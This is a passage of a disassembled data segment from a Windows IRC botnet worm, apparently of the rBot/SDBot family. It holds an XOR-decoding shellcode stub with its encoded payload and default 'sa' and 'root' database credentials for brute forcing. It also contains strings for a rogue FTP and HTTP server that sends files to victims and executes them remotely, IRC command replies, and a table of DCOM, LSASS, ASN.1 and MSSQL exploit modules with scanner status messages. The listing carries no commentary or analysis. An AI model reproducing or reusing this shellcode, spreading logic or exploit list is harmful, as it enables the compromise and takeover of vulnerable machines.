aRoot		db 'root',0             ; DATA XREF: sub_404EC7+22o
					; seg001:0042C400o ...
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_404EC7+1Bo
		align 10h
dword_4265F0	dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
					; DATA XREF: seg001:00405326o
		db 1Ah
; ---------------------------------------------------------------------------


loc_426601:				; CODE XREF: seg001:00426608j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_426601
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
; ---------------------------------------------------------------------------
		dw 28CDh
		dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h,	7066A07h
		dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
		dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h,	0BECE342Eh
		dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h,	156EBE67h
		dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
		dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
		dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
		dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
		dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h,	0B54168B8h
		dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
		dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h,	0F960CA62h
		dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
		dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
		dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h,	0BD70B865h
		dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h,	0CACA5FD9h
		dd 0D560h
word_426744	dw 7A69h		; DATA XREF: sub_40514F+30r
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405398+5B1o
aQuit		db 'QUIT',0             ; DATA XREF: sub_405398+59Do
					; sub_40CD3A+4FCo
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_405398+590o
		align 10h
dword_426790	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_405398+545o
		dd 2029206Ch, 2BBBB02h
aFileSentToSOnP	db '  File sent to %s on port %d, now executing %s on remote machine.'
		db 0
		align 10h
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405398+526o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_405398+4FAo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_405398+4E2o
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405398+4D2o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_405398+4C1o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_405398+48Eo
		align 10h
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405398+44Ao
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_405398+411o
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405398+3E3o
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_405398+3D0o
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_405398+395o
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_405398+382o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405398+372o
aI:					; DATA XREF: sub_405398+35Eo
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405398+337o
aA:					; DATA XREF: sub_405398+323o
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_405398+30Co
					; sub_405398+347o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405398+2FCo
		align 4
off_42694C	dd offset dword_445750	; DATA XREF: sub_405398+2E8o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405398+2D8o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_405398+2C4o
		align 4
a215Fuckftpd	db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_405398+2B4o
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_405398+2A0o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405398+290o
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_405398+27Co
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_405398+26Co
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_405398+257o
					; seg001:0042C430o ...
		align 4
aSS		db '%s %s',0            ; DATA XREF: sub_405398+246o
		align 4
a220Fuckftpd0wn	db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405398+1C8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4059FC+24o
					; sub_406B84+12Eo ...
		align 4
unk_4269E8	db    2			; DATA XREF: sub_405A96+3D3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 10h
asc_426A30	db 0Dh,0Ah,0		; DATA XREF: sub_405A96+2BEo
		align 4
asc_426A34:				; DATA XREF: sub_405A96+282o
					; sub_40CD3A+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405A96+258o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405ECC+F0o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405ECC+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405ECC+97o
					; sub_40A9D8+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405ECC+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405ECC:loc_405F37o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405ECC+64o
		align 8
unk_426C58	db    2			; DATA XREF: sub_406048+27Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
		align 8
unk_426CA8	db    2			; DATA XREF: sub_406048+20Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_426CEC:				; DATA XREF: sub_406048+156o
					; seg001:0042E0C8o
		unicode	0, <*>,0
asc_426CF0:				; DATA XREF: sub_406048+FAo
					; sub_4062F7+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_406048+E9o
					; sub_4062F7+4CFo ...
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_406048+39o
					; sub_40A53E+4Co ...
		align 10h
aS_2		db '\%s',0              ; DATA XREF: sub_406048+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_4062F7+64Do
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+638o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_4062F7+61Do
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+58Eo
		align 8
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4062F7+566o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_40681Ao
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4062F7+51Co
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4062F7+476o
		align 10h
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+439o
		align 10h
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4062F7+406o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4062F7:loc_4066C4o
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4062F7+3C6o
		align 10h
aSS_0		db '%s%s/',0            ; DATA XREF: sub_4062F7+379o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+335o
					; sub_4062F7+48Bo
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_4062F7+308o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_4062F7+2DEo
					; sub_4062F7+418o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_4062F7+2B4o
aAm		db 'AM',0               ; DATA XREF: sub_4062F7+293o
		align 10h
aPm		db 'PM',0               ; DATA XREF: sub_4062F7+284o
		align 4
a__1:					; DATA XREF: sub_4062F7+24Co
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: sub_4062F7+231o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+1BFo
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+146o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+12Ao
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 8
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4062F7+F6o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4062F7+ACo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_4062F7+77o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4062F7+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406A63+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_4271B8	dd 4000500h, 7868746Bh,	2 dup(0) ; DATA	XREF: sub_406B84+48Do
dword_4271C8	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_406B84+479o
		dd 2029206Ch, 2BBBB02h
aFileSentToSExe	db '  File sent to %s, executing %s on remote machine.',0
		align 4
unk_427218	db    2			; DATA XREF: sub_406B84+3B6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundOn	db '  File not found on %s, (%s).',0
		align 4
dword_427254	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406B84+399o
unk_427268	db    2			; DATA XREF: sub_406B84+33Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileSentToSE_0	db 'File sent to %s, executing %s on remote machine.',0
		align 10h
unk_4272C0	db    2			; DATA XREF: sub_406B84+15Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToOpenFi	db 'Failed to open file: %s (possible virus scan!)',0
		align 10h
unk_427310	db    2			; DATA XREF: sub_406B84+6Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_2	db 'Error: socket() failed, returned: <%d>.',0
aOctet		db 'octet',0            ; DATA XREF: sub_406B84+Fo
		align 10h
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_4076CB+155o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: seg001:00404A94o
		align 4
		dd 5 dup(0)
dword_427388	dd 87h			; DATA XREF: sub_407075+1Er
					; sub_40CD3A+2EEAr ...
off_42738C	dd offset sub_4033B6	; DATA XREF: sub_4076CB+1D7r
dword_427390	dd 0			; DATA XREF: sub_402DD1+193r
					; sub_4033B6+2F0r ...
dword_427394	dd 1			; DATA XREF: sub_4071B6+1Fr
dword_427398	dd 0			; DATA XREF: sub_4071B6:loc_407427r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 4033B6h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 4033B6h, 0
		dd 1, 0
aDcass		db 'dcass',0
		align 4
		dd 63640000h, 737361h, 6 dup(0)
		dd 1BDh, 402F74h, 0
		dd 2 dup(1), 7361736Ch,	35343473h, 736C0000h, 34737361h
		dd 3534h, 5 dup(0)
		dd 1BDh, 403C74h, 0
		dd 2 dup(1), 7361736Ch,	35333173h, 736C0000h, 31737361h
		dd 3533h, 5 dup(0)
		dd 87h,	403C74h, 0
		dd 2 dup(1), 7361736Ch,	39333173h, 736C0000h, 31737361h
		dd 3933h, 5 dup(0)
		dd 8Bh,	403C74h, 0
		dd 2 dup(1), 61736C63h,	7373h, 6C630000h, 73736173h, 6 dup(0)
		dd 1BDh, 402DD1h, 0
		dd 2 dup(1), 6C31736Ch,	73h, 736C0000h,	736C31h, 6 dup(0)
		dd 1BDh, 403E21h, 0
		dd 2 dup(1), 7173736Dh,	6Ch, 736D0000h,	6C7173h, 6 dup(0)
		dd 599h, 404EC7h, 0
		dd 2 dup(1), 316E7361h,	6E626D73h, 736D0074h, 737361h
		dd 6 dup(0)
		dd 599h, 4050FFh, 0
		dd 2 dup(1), 6C616572h,	74736163h, 65520000h, 61636C61h
		dd 7473h, 5 dup(0)
		dd 22Ah, 40528Fh, 0
		dd 1, 0
aAsn1http	db 'asn1http',0
		align 2
aAsn1http_0	db 'asn1http',0
		align 4
		dd 5 dup(0)
		dd 50h,	4048D6h, 0
		dd 2 dup(1), 316E7361h,	626D73h, 73610000h, 6D73316Eh
		dd 62h,	5 dup(0)
		dd 1BDh, 4048D6h, 0
		dd 2 dup(1), 7361736Dh,	73h, 73610000h,	6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	4048D6h, 0
		dd 2 dup(1), 316E7361h,	6E626D73h
		db 74h,	0
byte_4276EE	db 1			; DATA XREF: sub_40CD3A:loc_4117DEr
					; sub_40CD3A+4AAEo
aLsass445	db 'lsass445',0
		dd 736D0100h, 737361h, 0
		dd 1, 2	dup(0)
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407075+81o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407075+42o
		align 10h
unk_427730	db    2			; DATA XREF: sub_407075+11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_427768	db    2			; DATA XREF: sub_40713F+42o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_42779C	db    2			; DATA XREF: sub_40713F+2Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 10h
unk_4277D0	db    2			; DATA XREF: sub_4071B6+35Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_427818	db    2			; DATA XREF: sub_4071B6+307o
					; sub_40CD3A+4FD8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_427868	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_4071B6+252o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 10h
dword_4278B0	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_4071B6+1FBo
		dd 2029206Ch, 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 8
unk_427908	db    2			; DATA XREF: sub_4071B6+138o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_1	db 'Failed to start server, error: <%d>.',0
		align 10h
unk_427950	db    2			; DATA XREF: sub_4071B6+D8o
					; sub_40CD3A+4E63o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_0	db 'Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_407592+38o
					; sub_40A08A+46o
unk_4279B0	db    2			; DATA XREF: sub_4076CB+DCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
		align 10h
unk_4279F0	db    2			; DATA XREF: sub_4076CB+84o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_427A40	db    2			; DATA XREF: sub_4078DF+1E0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_427A98	db    2			; DATA XREF: sub_4078DF+168o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_427AE8	db    2			; DATA XREF: sub_4078DF+103o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 8
unk_427B38	db    2			; DATA XREF: sub_4078DF+87o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 8
unk_427B88	db    2			; DATA XREF: sub_407B36+143o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '  Failed to start client thread, error: <%d>.',0
		align 4
unk_427BD8	db    2			; DATA XREF: sub_407B36+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '  Client connection from IP: %s:%d, Server thread: %d.',0
unk_427C30	db    2			; DATA XREF: sub_407CBD+157o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '  Failed to start connection thread, error: <%d>.',0
		align 8
unk_427C88	db    2			; DATA XREF: sub_407CBD+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '  Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_427CE0	db    2			; DATA XREF: sub_407F42+1B1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
